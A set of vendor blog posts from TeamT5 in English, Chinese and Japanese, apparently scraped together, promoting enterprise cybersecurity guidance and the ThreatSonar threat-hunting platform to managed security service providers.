## Cyber incidents in daily operations
Various cyber incidents might happen in daily operations. We provide case studies and suggestions for enterprises below. 

#### Cyber Incident: Advanced persistent threat attack
As hacker attack technology continues to evolve, advanced persistent threat (APT) techniques are becoming even more complex. More and more malicious programs are able to bypass EDR (Endpoint Detection and Response) and use legitimate tools to control endpoints.

To deal with endless APT attacks, how should enterprises or organizations effectively deal with them? The following case reveals how TeamT5 actually assists enterprise organizations to handle APT attacks. In this case, you may understand hacker attack techniques and how incident response measures reduce the losses to strengthen future cybersecurity defense.

- **Case Study**: [link](https://teamt5.org/en/posts/ir-use-case-how-to-respond-to-advanced-persistent-threat-apt/?utm_source=blog&utm_medium=website)

####Cyber Incident: Ransomware
When an enterprise or organization faces a destructive cyber attack, time is of the essence in order to be able to respond and recover from it. If the attacker group can be detected at an early stage when they have infiltrated the victim organization's network, there is still a chance to effectively block the attacker group's behavior immediately, with less impact on the enterprise or organization.

How can enterprises or organizations respond to ransomware effectively? Through the following sharing of the case in which TeamT5 assists enterprises and organizations in cybersecurity incidents you may learn how to strengthen cybersecurity defense, not only prevent malicious attacks, but also minimize the losses caused by cyber threats.

- **Case Study**: [link](https://teamt5.org/en/posts/ir-use-case-how-to-respond-to-ransomware-attack/?utm_source=blog&utm_medium=website)

####Cyber Incident: Personal information leaked
Hackers often use various network attack methods, such as zero-day attacks, phishing, brute force attacks, social engineering, malware, etc., in an attempt to gain system access and sensitive data. Then, the data is used to target enterprises, governments, or individuals. All these cyber threat events pose a major threat. Taking the leakage of personal information as an example, it causes people to lose money due to fraud and directly damages the reputation of enterprises.

How should companies or organizations effectively deal with cybersecurity incidents caused by malicious attacks? The following is a case in which TeamT5 actually assists companies and organizations in handling personal data breach. In this case, you may learn (1) how hackers obtain sensitive personal data through network attacks; (2) the emergency response measures required to deal with the incident; (3) how to reduce the losses caused by the incident threat to the minimum, and plan the defense priorities for future.

- **Case Study**: [link](https://teamt5.org/en/posts/ir-use-case-how-to-respond-to-private-data-breach/?utm_source=blog&utm_medium=website)



## Key points for enterprises to purchase cybersecurity services and solutions

There are a wide variety of products and services that help enterprises achieve their cybersecurity defense strategic goals. We provide enterprises with evaluation and purchasing guides based on the categories of our expertise. Enterprises can understand the evaluation and procurement priorities for security incident response (IR), endpoint detection and response solutions (EDR), and threat intelligence platforms (TIP) based on their goals.


####Incident Response(IR): Key Considerations for Procurement
Incident Response services are designed to assist enterprises with immediate response and investigation of cybersecurity incidents and accidents to help them reduce damage. However, when selecting and procuring IR services, businesses need to carefully consider 5 key factors.

[Read the article](https://teamt5.org/en/posts/key-considerations-for-evaluating-incident-response-service-ir/?utm_source=blog&utm_medium=website)


####Endpoint Detection and Response (EDR) Solution: Key Considerations for Procurement
EDR (Endpoint Detection and Response) solution is a powerful tool that can help enterprises detect and respond to endpoint threats early. However, when selecting and purchasing EDR solutions, enterprises need to pay attention to 6 key points to ensure that the chosen solution meets their cybersecurity needs and can help the information system operate stably in the long term.

[Read the article](https://teamt5.org/en/posts/key-considerations-for-evaluating-endpoint-detection-and-response-edr-solutions/?utm_source=blog&utm_medium=website)

####Threat Intelligence Platform (TIP) : Key Considerations for Procurement
The threat intelligence platform provides critical threat intelligence to help enterprises identify, analyze and respond to threats. However, when selecting and purchasing a threat intelligence platform, enterprises need to carefully consider 5 key factors.

[Read the article](https://teamt5.org/en/posts/key-considerations-for-evaluating-threat-intelligence-platform-tip-solution/?utm_source=blog&utm_medium=website)

##Conclusion
With the advent of the digital age, enterprises are facing increasingly complex cyber threats. Enterprises should choose appropriate cybersecurity services and solutions based on their own needs and strategic goals in order to build cyber security resilience and achieve the defense goals.



>TeamT5 consists of top cyber threat analysts. Leveraging our geographic and cultural advantages, we have the best understanding of cyber attackers in Asia Pacific. TeamT5 is frequently invited to share insights at top cybersecurity conferences. Our threat intelligence research expertise and solutions are recognized as the 2023 Company of the Year Award in Taiwanese Threat Intelligence by Frost & Sullivan.
>
>Contact us and know more of intelligence-driven cybersecurity solutions 
>[https://teamt5.org/en/contact-us/](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website)


Enterprise Cybersecurity Guide [2024]

本文匯集[TeamT5 杜浦數位安全的團隊](https://teamt5.org/tw/about-us/?utm_source=blog&utm_medium=website)逾20年的資安防禦專業經驗，與企業分享資安防禦的關鍵，並分析挑選資安解決方案、服務宜注意的關鍵。希望對企業有所幫助，一同打造資安韌性 !


## 企業進行資安防禦的關鍵
初步可參考 NIST 資安框架，其由美國國家標準與技術研究所提出，透過有系統、有架構的標準，協助企業檢視自身資安防禦的不足，並針對特定項目進行補強。更多說明請見此文章〈[如何依據 NIST 資安框架，檢查企業資安防禦狀況?](https://teamt5.org/tw/posts/how-to-check-cyber-resilience-of-the-enterprise-based-on-nist-cybersecurity-framework/?utm_source=blog&utm_medium=website)〉。

進一步來說，資安防禦如同企業與惡意攻擊者的長期比賽，唯有知己知彼，方能百戰百勝。我們以球賽為例，分析資安攻防賽如同球隊準備上場比賽、乃至收集對手情資，直到實際對陣等，每階段都需戰戰兢兢，才能達到完全比賽。詳細說明請見此文章〈[從球賽看資安防禦：企業為什麼需要威脅情資](https://teamt5.org/tw/posts/what-ball-games-teach-us-about-cyber-defense/?utm_source=blog&utm_medium=website)〉。

而在日常營運中，我們特別強調企業採用威脅狩獵（threat hunting）策略，有助企業採取主動積極的防禦措施，強化企業的資安韌性，確保業務營運不中斷。更多說明請見此文章〈[威脅狩獵對企業的好處：強化資安韌性的關鍵](https://teamt5.org/tw/posts/the-benefits-of-threat-hunting-the-key-to-greater-security-resilience-for-enterprise/?utm_source=blog&utm_medium=website)〉。


## 企業宜依據產業特性，規劃資安防禦策略
而依據產業特性，我們也建議企業為本身需求，量身規劃有效的資安策略，以達到最佳防禦效果。下列為常遭受惡意攻擊的產業，分別說明建議對策。

- 金融業：[連結](https://teamt5.org/tw/industry/finance/?utm_source=blog&utm_medium=website)
- 醫療院所：[連結](https://teamt5.org/tw/industry/medical/?utm_source=blog&utm_medium=website)
- 科技製造業：[連結](https://teamt5.org/tw/industry/high-tech/?utm_source=blog&utm_medium=website)
- 政府機關：[連結](https://teamt5.org/tw/industry/government/?utm_source=blog&utm_medium=website)



## 企業選購資安服務與產品的重點

協助企業達成其資安防禦策略目標的產品與服務非常多元，我們以自身專長的類別，為企業提供評估與選購指南。企業可以依據其目標，了解資安事件應變服務、威脅偵測應變代管服務（MDR）、端點檢測和回應解決方案（EDR）和威脅情資平台（TIP）的評估與採購重點。


####資安事件應變服務 評估與採購重點
IR 服務旨在協助企業，針對資訊安全事件、事故，進行即時回應和調查，以幫助企業降低損害。然而，在挑選和採購 IR 服務時，企業需要謹慎考慮5個關鍵因素。
[閱讀文章](https://teamt5.org/tw/posts/key-considerations-for-evaluating-incident-response-service-ir/?utm_source=blog&utm_medium=website)


####威脅偵測應變代管服務（MDR）評估與採購重點
Managed Detection and Response（MDR）服務供應商為企業提供外包的威脅偵測和應變服務，協助企業識別、分析和應對資安威脅。然而，挑選和採購合適的 MDR 服務供應商是一個重大的決策，影響企業數位資產與資訊系統能否獲得妥善防禦服務。
[閱讀文章](https://teamt5.org/tw/posts/key-considerations-for-evaluating-managed-detection-and-response-mdr-solution/?utm_source=blog&utm_medium=website)


####端點檢測和回應解決方案（EDR） 評估與採購重點


EDR（Endpoint Detection and Response）解決方案是一種強大的工具，可以幫助企業及早檢測和應對端點威脅。然而，在挑選和採購 EDR 解決方案時，企業需要注意6個關鍵重點，以確保所選擇的解決方案符合其資訊安全需求，更能協助資訊系統能長期穩定運作。
[閱讀文章](https://teamt5.org/tw/posts/key-considerations-for-evaluating-endpoint-detection-and-response-edr-solutions/?utm_source=blog&utm_medium=website)

####威脅情資平台（TIP）評估與採購重點
威脅情資平台提供了關鍵的威脅情資，幫助企業識別、分析和應對威脅。然而，在挑選和採購威脅情資平台時，企業需要謹慎考慮5個關鍵因素 。
[閱讀文章](https://teamt5.org/tw/posts/key-considerations-for-evaluating-threat-intelligence-platform-tip-solution/?utm_source=blog&utm_medium=website)

##結語
隨著數位時代的來臨，企業面臨著越來越複雜的資安威脅。企業宜依自身需求與策略目標，選擇合適的資安服務、產品，方能建立資安韌性，達成全面資安防禦。

 
 

>杜浦數位安全 TeamT5 為網路威脅狩獵專家，團隊具備超過20年的惡意程式與進階持續性威脅（APT）的經驗，基於地緣和語言優勢，我們有效掌握亞太地區的駭客攻擊，更經常受邀參加世界級資安會議、發表研究成果。
>
>歡迎聯絡我們，了解備受客戶肯定的資安產品與服務 
>[https://teamt5.org/tw/contact-us/](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website)

企業資安防禦指南【2024 最新版】

当記事は、[TeamT5](https://teamt5.org/jp/about-us/?utm_source=blog&utm_medium=website)の20年以上にわたるサイバー防御専門家としての経験と、企業向けサイバーセキュリティの要点をまとめたものです。また、サイバーセキュリティソリューションやサービスを選択する際の注意すべきポイントを紹介します。企業の皆様のお役に立てるよう、サイバーセキュリティの強靭性を強化するサポートをいたします！

## 企業向けサイバー防衛の要点
基本的な要点として、アメリカ国立標準技術研究所が提唱している、体系的かつ構造化された基準を通じて、企業は自社のサイバー防御の不備を見直し、特定のプロジェクトに向けて強化することが容易となります。

詳しくはこちらの記事「[NIST サイバーセキュリティフレームワークに基づいて、企業のサイバーセキュリティ状況を確認するには?](https://teamt5.org/jp/posts/how-to-check-cyber-resilience-of-the-enterprise-based-on-nist-cybersecurity-framework/?utm_source=blog&utm_medium=website)」をご覧ください。

日常業務において、企業が積極的な防御策を講じ、サイバーセキュリティの強靭性を強化して、滞りなく事業運営を維持するために、脅威ハンティング戦略を導入することを特に重視しています。
詳しくはこちらの記事 「[組織のサイバー攻撃対策も感染症対策と同様に多層防御が必要です](https://teamt5.org/jp/posts/threatsonar-as-rapid-test/?utm_source=blog&utm_medium=website)」をご覧ください。

## 企業がサイバーセキュリティソリューションとサービスを購入する際のポイント
企業のサイバー防御戦略の目標達成を支援する製品やサービスは多種多様です。当社では、専門カテゴリーに基づいた評価・購入ガイドを企業に提供しています。これにより、企業は目標に基づき、セキュリティ・インシデント・レスポンス（IR）、エンドポイント検出および対応・ソリューション（EDR）、脅威インテリジェンス・プラットフォーム（TIP）の評価と導入のポイントを理解することができます。

####エンドポイント検出および対応・ソリューション（EDR）の評価と購入における考慮すべき事項
EDR（Endpoint Detection and Response）解決方案是一種強大的工具，可以幫助企業及早檢測和應對端點威脅。然而，在挑選和採購 EDR 解決方案時，企業需要注意6個關鍵重點，以確保所選擇的解決方案符合其資訊安全需求，更能協助資訊系統能長期穩定運作。
エンドポイント検出および対応・ソリューション（EDR）は、エンドポイントの脅威を早期に検知し、対応するための強力なツールです。しかし、EDRを選択・購入する際、企業は、選択したソリューションがサイバーセキュリティのニーズを満たし、情報システムの長期的な安定稼働を支援できるよう、6つのポイントに注意を払う必要があります。

[詳しくはこちらの記事](https://teamt5.org/jp/posts/key-considerations-for-evaluating-endpoint-detection-and-response-edr-solutions/?utm_source=blog&utm_medium=website)をご覧ください。

####脅威インテリジェンス・プラットフォーム（TIP）の評価と購入における考慮すべき事項
脅威インテリジェンス・プラットフォーム（TIP）は、脅威を特定・分析・対応するための鍵となる脅威インテリジェンスを提供します。しかし、TIPを選択・購入する際、企業は5つの重要なポイントをもとに検討する必要があります。

[詳しくはこちらの記事](https://teamt5.org/en/posts/key-considerations-for-evaluating-threat-intelligence-platform-tip-solution/?utm_source=blog&utm_medium=website)をご覧ください。

##最後に
デジタル時代の到来に伴い、企業はますます複雑化するサイバー脅威に直面しています。企業がこれらに対抗する術として、サイバーセキュリティの強靭性を強化し、サイバー防御の目標を達成するためには、自社のニーズと戦略目標に基づき、適切なサイバーセキュリティソリューションとサービスを選択する必要があります。



>TeamT5は、世界トップクラスのサイバー脅威アナリストで構成されているセキュリティベンダーであり、地理的・文化的優位性を活かし、極東アジアのサイバー攻撃者に特化しています。また、国際的なサイバーセキュリティカンファレンスにも頻繁に招待され、研究や見識を共有しています。
当社の脅威インテリジェンス研究の専門知識とソリューションは、フロスト＆サリバンから台湾脅威インテリジェンス分野の年間最優秀企業賞（2023 Taiwanese Threat Intelligence Industry Company of the Year Award）を受賞しました。
>
>TeamT5のサイバーセキュリティ製品とサービスの詳細については、弊社までぜひお問い合わせください。
>[https://teamt5.org/jp/contact-us/](https://teamt5.org/jp/contact-us/?utm_source=blog&utm_medium=website)


企業向けサイバーセキュリティガイド【2024 最新バージョン】

With the advent of the digital age, enterprises are facing increasingly complex and hidden threats. For Managed Security Service Providers (MSSP) vendors, the solutions they provide to their clients need to be not only efficient, but also able to cope with the evolving threat environment. In this turbulent security field, [ThreatSonar](https://teamt5.org/tw/products/threatsonar/?utm_source=blog&utm_medium=website) has become a stepping stone for new clients, bringing endless business opportunities to MSSPs.


## Introduction to Threat Forensic Analysis Platform ThreatSonar
By deploying the ThreatSonar threat identification and analysis platform, users can quickly screen possible security risks and threats in the field, and comprehensively inventory the security status of endpoints starting from the hosts that were severely compromised in the incident. Users can also analyze key network system records to investigate possible intrusion access points of hackers, obtain root causes of intrusions, grasp hacker movement paths, and take inventory of threat damage.

##Potential business opportunities
#### Client demand continues to grow
As the complexity of threats continues to increase, so do the security needs of enterprises. The advanced threat intelligence and rapid response capabilities provided by ThreatSonar make it a powerful tool for MSSP vendors to win clients.

#### More compliance requirements
Across industries, compliance requirements are becoming increasingly stringent. ThreatSonar helps MSSP manufacturers ensure that clients comply with relevant regulations, enhances clients' competitiveness in the market, and increases clients' reliance on MSSPs.

#### Provide opportunities for value-added services
ThreatSonar points out the cybersecurity threats faced by end clients, helping MSSPs to provide more value-added services to end clients, such as more suitable cybersecurity solutions, regular cybersecurity training, etc., expanding the scope of MSSP services and also bringing new business opportunities.


## Conclusion

ThreatSonar is not only a powerful threat identification and analysis platform, but also a powerful assistant for MSSPs to create business opportunities. As security threats continue to evolve, choosing ThreatSonar will unlock endless business opportunities for MSSPs.


 
 
>TeamT5 is an expert in cyber threat hunting. Our team members have more than 20 years of analysis experience in malware and advanced persistent threats (APT). Based on geographical and language advantages, we master hacker attacks in the Asia-Pacific region, and are often invited to participate in world-class cybersecurity conferences and publish research results.
>
>The threat hunting tool we developed, ThreatSonar, has been adopted by many managed security service providers (MSSPs).
>
>If you are an MSSP, please contact us immediately to discuss how to create business opportunities to strengthen cybersecurity resilience for end clients.
>[https://teamt5.org/en/contact-us/](https://teamt5.org/en/contact-us/?utm_source=blog&utm_medium=website)

New Business Opportunity for MSSP in Cybersecurity Industry

隨著數位時代的來臨，企業面臨著越來越複雜和隱匿的威脅。對於資安服務廠商(Managed Security Service Providers, MSSP) 廠商而言，提供給客戶的解決方案不僅需要高效，更需要能夠應對不斷進化的威脅環境。在這個動蕩的資安領域，[ThreatSonar](https://teamt5.org/tw/products/threatsonar/?utm_source=blog&utm_medium=website) 成為了新客戶敲門的磚頭，為 MSSP 帶來無窮的商業機會。


## 威脅鑑識分析平台 ThreatSonar 簡介
藉由部署 ThreatSonar 威脅鑑識分析平台，用戶能夠快速篩檢場域中可能的資安風險與威脅，並從事件中嚴重受駭的主機出發，全面盤點端點安全狀態。用戶更可同時藉由分析關鍵網路系統紀錄，調查駭客可能的入侵存取點，獲取駭侵根因（root cause）、掌握駭客移動路徑、盤點威脅損害。

## 潛在的商業機會
#### 客戶需求持續增長
隨著威脅的複雜性不斷提高，企業對於安全性的需求也與日俱增。ThreatSonar 提供的先進威脅情報和快速的應對能力使其成為 MSSP 廠商贏得客戶的利器。

#### 更多的合規性要求
在各個產業中，合規性要求變得越來越嚴格。ThreatSonar 幫助 MSSP 廠商確保客戶符合相應的法規，提升客戶在市場上的競爭力，也提升客戶對 MSSP 的倚重。

#### 帶來加值服務的機會
ThreatSonar 指出終端客戶面臨的資安威脅，有助 MSSP 為終端客戶提供提供更多加值服務，如更適合的資安解決方案、定期的資訊安全培訓等，擴大MSSP 的服務範疇，也帶來新商業機會。

## 結論

ThreatSonar 不僅是強大的威脅鑑識分析平台，更是 MSSP 創造商機的得力助手。隨著資安威脅不斷演變，選擇 ThreatSonar 將為 MSSP 帶來無窮的商業機會。

 

>杜浦數位安全 TeamT5 為網路威脅狩獵專家，團隊具備超過20年的惡意程式與進階持續性威脅（APT）的經驗，基於地緣和語言優勢，我們有效掌握亞太地區的駭客攻擊，更經常受邀參加世界級資安會議、發表研究成果。
>
我們研發的威脅狩獵工具 ThreatSonar 已獲許多資安代管服務廠商（MSSP）採用。
>
>如果您是資安代管服務廠商，請即刻[聯絡我們](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website)，共同討論如何創造商機。

 
 
*首圖來源: pexel

新客戶的敲門磚: 為資安服務廠商(MSSP)帶來商業機會的威脅鑑識分析平台 ThreatSonar

デジタル時代の到来に伴い、企業はますます複雑化する隠れた脅威に直面しています。マネージドセキュリティサービスプロバイダー（MSSP）ベンダーにとって、顧客に提供するソリューションは効率的であるだけでなく、進化する脅威環境に対応できる必要があります。この激動のセキュリティ分野において、ThreatSonarは新規顧客の足がかりとなり、MSSPに無限のビジネスチャンスをもたらします。

##脅威フォレンジック分析プラットフォーム ThreatSonar の概要
ThreatSonarの脅威識別・分析プラットフォームを導入することで、現場で想定されるセキュリティリスクや脅威を迅速にスクリーニングし、インシデントで深刻な侵害を受けたホストからエンドポイントのセキュリティ状況を包括的にインベントリ化することができます。また、主要なネットワークシステムの記録を分析し、ハッカーの侵入アクセスポイントの調査を行い、侵入の根本原因とハッカーの移動経路を特定するので、脅威の被害状況を把握することができます。

##潜在的なビジネスチャンス

####高まる顧客のニーズ

脅威の複雑さが増すにつれ、企業のセキュリティニーズも増加の一途をたどっています。ThreatSonarが提供する高度な脅威インテリジェンスと迅速な対応能力は、MSSPベンダーが顧客を獲得するための強力なツールとなります。


####コンプライアンス要件の強化

業界を問わず、コンプライアンス要件はますます厳しくなっています。ThreatSonarは、MSSPメーカーが顧客の関連規制の準拠を保証し、市場における顧客の競争力を高め、MSSPへの信頼を高めるのに役立ちます。


####付加価値サービスの機会の提供

ThreatSonar は、エンド顧客が直面しているサイバーセキュリティの脅威を指摘し、MSSP がより適切なサイバーセキュリティソリューション、定期的なサイバーセキュリティトレーニングなど、より付加価値の高いサービスを提供できるよう支援するので、MSSPサービスの範囲を拡大し、新たなビジネスチャンスをもたらします。


##結論
ThreatSonarは、強力な脅威識別・分析プラットフォームであるだけでなく、MSSPがビジネスチャンスを創出するための強力なアシスタントでもあります。セキュリティ脅威が進化し続ける中、ThreatSonarを選択することで、MSSPのビジネスチャンスは無限に広がります。


新規顧客への足掛かり: サイバーセキュリティ業界におけるMSSPの新たなビジネスチャンスとなる脅威フォレンジック分析プラットフォーム ThreatSonar

In the ever-changing cybersecurity environment, proactive detection of threats and deployment of appropriate cybersecurity solutions are the focus of defense.

For enterprises to effectively deal with complex cybersecurity situations, strong allies are crucial - [ThreatSonar](https://teamt5.org/en/products/threatsonar/?utm_source=blog&utm_medium=website), the threat identification and analysis platform launched by TeamT5, has been adopted by many managed security service providers (MSSPs) in Japan, Singapore, Vietnam, and Taiwan. Conduct compromise assessment for end clients to achieve the same benefits as regular health checks; when a cybersecurity incident occurs, use ThreatSonar to perform incident response to avoid the spread of damage.

This article will introduce the powerful functions and application scenarios of ThreatSonar, and how it can bring new business opportunities to managed security service providers (MSSPs). We look forward to vendors contacting us and creating business opportunities together.

## The power of ThreatSonar

ThreatSonar is more than just a tool, it is a powerful shield that proactively defends against online threats.

By deploying the threat identification and analysis platform ThreatSonar, users can quickly screen possible cybersecurity risks and threats in the field, and comprehensively inventory the cybersecurity status of endpoints starting from the hosts that were severely compromised in the incident. Users can also analyze key network system records to investigate possible intrusion access points of hackers, obtain root causes of intrusions, grasp hacker movement paths, and take inventory of threat damage.


Powerful features include:
- **Intelligence-driven smart threat forensics**

Built-in thousands of APT backdoor signatures provide the latest intelligence to every endpoint for threat forensics. Also it allows the import of external intelligence such as hash, IP, domain, Yara Rule and IoC to precisely defend potential targeted threats."

- **Lightweight deployment and background execution without affecting daily operations**

ThreatSonar agent can be deployed on thousands of computers in an enterprise, and runs with less system resources. Personnel can carry out computer work as usual without the burden of running forensic.

- **Compromise assessment offers the whole picture of the incident, shortening the investigation time**

ThreatSonar not only analyzes the current state of the host, but also investigates past event trajectories through log analysis, presents the sequence of events on the Timeline, and tracks lateral movement and data outflow paths through cross-endpoint correlation.

- **Possess memory forensics and behavior analysis to effectively identify unknown malicious programs**

Identify malicious programs hidden in the memory, executed and to-be-executed programs, attacker's hack tools, and after-attacks log on the host, and automatically identify hundreds of dynamic behavior anomalies.

- **Active threat hunting with visualization of correlating potential compromised endpoints**

Statistical correlation analysis finds unknown attack techniques, establishes baselines to lock on abnormal behaviors, and tags potential unknown threats, such as abuse of rare programs or legal system tools in the organization; malware with digital signatures, etc.

## Application scenarios of ThreatSonar: compromise assessment, incident response

It can be used in two scenarios: compromise assessment and incident response. ThreatSonar is an intrusion assessment tool that quickly scans for potential threats.

In the past, MSSP relied on manual work, which was time-consuming and costly, and was not a business model that could expand the scale of operations. Now, MSSP imports ThreatSonar into the workflow, allowing professionals to scan potential threats easily and effortlessly, and quickly assess the health of the security environment for clients. The reports generated by ThreatSonar can further guide clients to purchase suitable cybersecurity solutions, and then achieve a complete procurement guidance process and create greater business opportunities.

As an incident response tool, ThreatSonar provides incident response teams with professional and reliable tools for threat hunting.

In the past, incident response personnel could only check three computers for cybersecurity threats every day, and it would take 1 to 4 weeks to write and produce a complete threat hunting result report. Now, MSSP introduces ThreatSonar into the operation process, and can check more than 1,000 computers (or terminal devices) within 1 hour, and can submit a detailed threat hunting result report within 1 day to 1 week. Covering the aforementioned ThreatSonar detection threats, MSSP can help clients eliminate threats.

With ThreatSonar, MSSPs will be able to provide clients with better and more comprehensive services and earn significant profits.


## How ThreatSonar creates new business opportunities for managed security service providers (MSSPs)

The ThreatSonar threat identification and analysis platform has a simple and hassle-free process from deployment, use, to output result reports. MSSPs can easily get started, reducing the burden on team personnel; MSSPs can also gain in-depth understanding of clients when conducting intrusion assessments, incident response, etc. of the cybersecurity environment and immediate needs, and then recommend extended cybersecurity solutions to bring business opportunities and profits.

## Benefits of ThreatSonar for Managed Security Service Providers (MSSPs)
- **Simplified deployment:** Tools are lightweight and compatible with existing endpoint solutions
- **Professional support**: Backed by TeamT5 experts with over 20 years of experience in cyber threat research
- **Increased profitability**: TeamT5 offers a flexible payment mechanism that charges per report rather than the number of endpoints scanned. If the MSSP initially determines from the report that the endpoint has a high-risk security threat and requires further interpretation, then the MSSP needs to pay to unlock the ThreatSonar report; if no endpoint with major security threats is found, the MSSP can save the cost of unlocking all endpoint scan reports.
- **Expand advanced service opportunities**: Intrusion assessment before an incident occurs and contingency response after an incident are common needs of enterprises, and it is also a critical moment when enterprises urgently need MSSP assistance. MSSP can use the professional ThreatSonar platform as an important tool to improve the quality of cybersecurity services for corporate clients.


## Conclusion
ThreatSonar is an essential tool for cybersecurity health checks. Managed Security Service providers (MSSPs) proactively conduct regular checks for end clients. It can grasp the health of cybersecurity and help achieve all-round defense.

 
 

>TeamT5 is an expert in cyber threat hunting. Our team members have more than 20 years of analysis experience in malware and advanced persistent threats (APT). Based on geographical and language advantages, we master hacker attacks in the Asia-Pacific region, and are often invited to participate in world-class cybersecurity conferences and publish research results.
>
>The threat hunting tool we developed, ThreatSonar, has been adopted by many managed security service providers (MSSPs).
>
>If you are an MSSP, please contact us immediately to discuss how to create business opportunities to strengthen cybersecurity resilience for end clients.
>[https://teamt5.org/en/contact-us/](https://teamt5.org/en/contact-us/?utm_source=blog&utm_medium=website)

The Threat Hunter’s Guide to the Cyber Hygiene: ThreatSonar

在持續變化的資訊安全環境中，超前偵測威脅、部署適合的資安解決方案是防禦重點。

企業若要有效應對複雜的資安局勢，強大的盟友十分關鍵 —— 杜浦數位安全 TeamT5 推出的威脅鑑識分析平台 [ThreatSonar](https://teamt5.org/tw/products/threatsonar/?utm_source=blog&utm_medium=website) 已獲日本、新加坡、越南與台灣的許多資安託管服務廠商（MSSP）採用，為終端客戶進行入侵評估（compromise assessment），達成如同定期健康檢查的效益；更於資安事件發生當下，使用 ThreatSonar，進行事件應變（incident response），避免損害擴散。

本文將介紹 ThreatSonar 的強大功能、應用場景，以及如何藉此為資安託管服務廠商（MSSP）帶來新商機，期待有興趣的廠商與我們聯絡，共創未來。

## ThreatSonar 的強大功能

ThreatSonar 不只是一個工具，更是一個主動抵禦網路威脅的強大盾牌。

藉由部署 ThreatSonar 威脅鑑識分析平台，用戶能夠快速篩檢場域中可能的資安風險與威脅，並從事件中嚴重受駭的主機出發，全面盤點端點安全狀態。用戶更可同時藉由分析關鍵網路系統紀錄，調查駭客可能的入侵存取點，獲取駭侵根因（root cause）、掌握駭客移動路徑、盤點威脅損害。

強大功能包含：
- **情資導向的智慧威脅識別**

內建數千種 APT 後門特徵，將最新情資帶到每個端點鑑識。同時，可匯入 hash、IP、domain、Yara Rule 與 IoC 等外部情資，高精準度打擊針對性強的潛在威脅。

- **輕量佈署、背景執行，不影響日常作業**

ThreatSonar 執行程式可安裝到企業組織內上百千電腦中，背景運行，系統資源使用量少，人員可照常進行電腦工作，不受此程式運行的負擔。

- **資安健檢從事件全貌著手，縮短事件調查時程**

ThreatSonar 不只分析主機當下狀態，同時透過事件紀錄分析，調查過去的事件軌跡，以 Timeline 事件時間軸呈現先後，並藉由跨端點關聯，追蹤內網移動與資料外流路徑。
具備記憶體鑑識及行為分析能力，有效揪出未知惡意程式
辨識出隱匿於記憶體中的惡意程式、執行過以及將要執行的程式、攻擊者的駭客工具、攻擊後殘留於主機的紀錄，自動鑑定數百種動態行為異常。

- **主動威脅狩獵，可視化關聯潛在受害主機**

統計關聯分析找出未知攻擊手法，建立基準線鎖定異常行為，標示潛伏未知威脅，例如組織中稀有程式或目錄、合法系統工具遭到濫用，或是具數位簽章的惡意程式等。


## ThreatSonar 的應用場景：入侵評估（compromise assessment）、事件應變（incident response）

可應用於入侵評估（compromise assessment）與事件應變（incident response）兩種情境。

ThreatSonar 作為入侵評估工具，可快速掃描潛在威脅。

過去，MSSP 需仰賴人工作業，耗時耗成本，且不是一個可以擴張營運規模的商業模式。現在， MSSP 導入 ThreatSonar 至作業流程，可以由專業人員輕鬆省力地進行潛在威脅掃描，快速為客戶評估資安環境的健康程度，更可 ThreatSonar 產出的報告，進一步引導客戶採購適合的資安解決方案，進而達到完整採購引導過程，創造更大的商機。

ThreatSonar 作為事件應變工具，為事件應變團隊提供專業可靠的工具，進行威脅狩獵。

過去，事件應變人員每天僅能檢查 3 台電腦遭受資安威脅，更需耗費 1~4 週的時間，撰寫製作完整的威脅狩獵結果報告。而現在， MSSP 導入 ThreatSonar 至作業流程，1 小時內即可檢查 1,000 個以上的電腦（或終端裝置），1 天 ~ 1 週內即可提出詳盡的威脅狩獵結果報告，內容涵蓋前述 ThreatSonar 的偵測之威脅，能夠讓 MSSP 協助客戶排除威脅。

MSSP 借助 ThreatSonar，將可為客戶提供更優質、更完善的服務，並且獲得可觀的利潤。


## ThreatSonar 如何為資安託管服務廠商（MSSP）帶來新商機

ThreatSonar 威脅鑑識分析平台從部署、使用，至產出結果報告，流程簡易無負擔，MSSP 能夠輕易上手，降低團隊人員負擔；MSSP 為客戶進行入侵評估、事件應變等過程中，更可深度了解客戶的資安環境與切身需求，進而建議延伸的資安解決方案，帶來商機與利潤。


## 資安託管服務廠商（MSSP）採用 ThreatSonar 的效益 
- **簡化部署**：工具為輕量級，可與現有端點解決方案相容
- **專業支援**：由擁有 20 多年網路威脅研究經驗的 TeamT5 專家團隊支援
- **提高獲利能力**：TeamT5 提供靈活的付費機制，按報告收費，而不是按掃描的端點數量收費。MSSP 若從報告中初步判斷該端點有高風險資安威脅需進一步解讀，才需付費解鎖 ThreatSonar 報告；若未發現具重大資安威脅的端點，MSSP 則可省下解鎖所有端點掃描報告的成本。
- **拓展進階服務商機**：事件發生前的入侵評估與事件發生後的應變處置是企業的常見需求，也是企業亟需 MSSP 協助的關鍵時刻。MSSP 可藉由使用專業的 ThreatSonar 平台，作為提升給企業客戶資安服務品質的重要利器。


## 結論
ThreatSonar 是資安健康檢查的必備工具，由資安託管服務廠商（MSSP）主動為終端客戶進行定期檢查，能夠掌握資安健康度，協助達到全方位防禦。

 

>杜浦數位安全 TeamT5 為網路威脅狩獵專家，團隊具備超過20年的惡意程式與進階持續性威脅（APT）的經驗，基於地緣和語言優勢，我們有效掌握亞太地區的駭客攻擊，更經常受邀參加世界級資安會議、發表研究成果。
>
>我們研發的威脅狩獵工具 ThreatSonar 已獲許多資安代管服務廠商（MSSP）採用。
>
>如果您是資安代管服務廠商，請即刻[聯絡我們](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website)，共同討論如何創造商機。

 
 
*首圖來源: pexel

威脅狩獵工具 ThreatSonar 完整指南

絶えず変化するサイバーセキュリティ環境において、脅威を事前に検出し、適切なサイバーセキュリティソリューションを導入することは防御の焦点となります。

企業が複雑なサイバーセキュリティ環境に効果的に対処するには、強力な「仲間」が必要です‐TeamT5の脅威識別・分析プラットフォーム「ThreatSonar」は、日本、シンガポール、ベトナム、台湾の多くのマネージドセキュリティサービスプロバイダー（MSSP）に採用されています。エンドクライアントに侵害評価を実施し、サイバーセキュリティインシデントが発生した場合は、被害の拡大を回避するためにインシデント対応を実行します。

本記事では、ThreatSonarの強力な機能と活用シーン、そしてマネージドセキュリティサービスプロバイダー（MSSP）に新たなビジネスチャンスをもたらすThreatSonarについてご紹介します。

各ベンダーの皆様からのご連絡を心よりお待ちしております。


##ThreatSonar の強さ

ThreatSonar は単なるツールではなく、オンラインの脅威を積極的に防御する強力なシールドです。


